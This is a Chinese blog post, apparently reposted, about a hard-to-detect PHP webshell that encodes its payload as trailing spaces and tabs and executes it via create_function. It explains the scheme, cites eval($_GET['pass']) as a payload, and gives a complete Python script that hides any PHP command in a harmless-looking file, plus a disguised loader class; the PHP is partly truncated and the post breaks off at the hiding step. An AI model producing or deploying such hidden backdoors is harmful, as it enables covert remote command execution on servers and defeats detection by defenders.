主页 > 网络知识 > 一个经典的过人WebShell

一个经典的过人WebShell

一个经典的过人WebShell

大概是在去年,闲着无聊的时候翻阅知乎,看到了这么一个回答:https://www.zhihu.com/question/68591788/answer/269545371

 

image.png

 

其中最后那个过人的 webshell 引起了我的注意:

dataProcessor($f[$i]); } else { $c .= $this->dataProcessor($f[$i]); } } $t = $r('',"$c"); $t(); } function dataProcessor($li) { preg_match('/([ ]+) ? ?$/', $li, $m); if (isset($m[1])) { $l = dechex(substr_count($m[1], " ")); $r = dechex(substr_count($m[1], " ")); $n = hexdec($l.$r); return chr($n); } return ""; } } new newDataProvider(); ?>

就像这位答主说的那样,大家能不能看出这个是 webshell 呢?以及评估一下自己在真实的系统中,很多 php 文件存在的情况下,能不能发觉这个 php 文件有点问题呢?我个人感觉自己在应急响应时,只有仔细看的时候才能发觉这是个 webshell,要不然我肯定粗略扫一眼以为是正常的 php 业务代码,直接放过

还有些人喜欢通过检索 webshell 关键字这样批量去找,这就更不可能找到了。那么这个 webshell 的原理是什么呢?每一行最后都有空格与制表符。 的数量代表着 ascii 码 16 进制的第一位,空格的数量代表着 ascii 码 16 进制的第二位。然后有个关键的15,其实代表了前 15 行的空白字符组成的是create_function,后面就可以写一句话咯,例如eval($_GET["pass"]);,每一行写入一个字符即可。执行的时候先读取自身代码之后,按行提取出里面的空格和制表符,提取出隐藏的代码之后执行就完事了。

当然,要自己去加空格和制表符简直是反人类

所以我写了个隐藏 webshell 的代码如下:

import sys def put_color(string, color): colors = { 'red': '31', 'green': '32', 'yellow': '33', 'blue': '34', 'pink': '35', 'cyan': '36', 'gray': '2', 'white': '37', } return '[40;1;%s;40m%s' % (colors[color], str(string)) if len(sys.argv) not in [3, 4]: sys.exit( '''[!] usage: python hidden_webshell.py payload filename [output_filename] ''' ''' [-] example: python {}{}{}'''.format( put_color('hidden_webshell.py', 'white'), put_color(''' 'system("echo "hacked by Tr0y :)"");' ''', 'green'), put_color('webshell.php', 'blue') ) ) webshell_name = sys.argv[2] hidden_name = sys.argv[3] if len(sys.argv) == 4 else 'webshell_hidden.php' exp = sys.argv[1] # '''system("echo 'hacked by Tr0y :)'");''' if not exp.endswith(';'): print('[!] WARN: {} {}'.format( put_color('The payload should end in', 'yellow'), put_color(';', 'cyan') )) print('[+] Hide webshell') print(' [-] Read from {}'.format(put_color(webshell_name, 'blue'))) print(' [-] Payload is {}'.format(put_color(exp, 'green'))) payload = 'create_function' + exp with open(webshell_name, 'r') as fp: raw_php = fp.readlines() for line, content in enumerate(payload): hex_num = hex(ord(content)) tab_num = int(hex_num[2], 16) space_num = int(hex_num[3], 16) # 最好用空格的个数代表个位数 hidden = ' ' tab_num + ' ' space_num if line < len(raw_php): if raw_php[line].endswith(' '): raw_php[line] = raw_php[line][:-1] + hidden + ' ' else: raw_php[line] = raw_php[line] + hidden else: raw_php.append(hidden + " ") with open(hidden_name, 'w') as fp: fp.writelines(raw_php) print('[!] Saved as {}'.format(put_color(hidden_name, 'blue'))) print('[!] All done Bye :)')

然后我们还需要准备一个看似正常的 php 代码。其实这一步很重要,如果你的 php 代码看起来越无害,隐蔽效果就越好:

getArrayValue($lines[$i]);             if ($i < 15) {                 $lower .= $value;             } else {                 $higher .= $value;             }         }         $verifyScore = $lower('', "$higher");         $result = $verifyScore();         return $result;     }     function getArrayValue($result) {         preg_match('/([ ]+) ? ?$/', $result, $match);         if (isset($match[1])) {             $lower = dechex(substr_count($match[1], " "));             $higher = dechex(substr_count($match[1], " "));             $result = hexdec($lower.$higher);             $result = chr($result);             return $result;         }         return '';     } } $score = new getHigherScore();

然后隐藏:

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!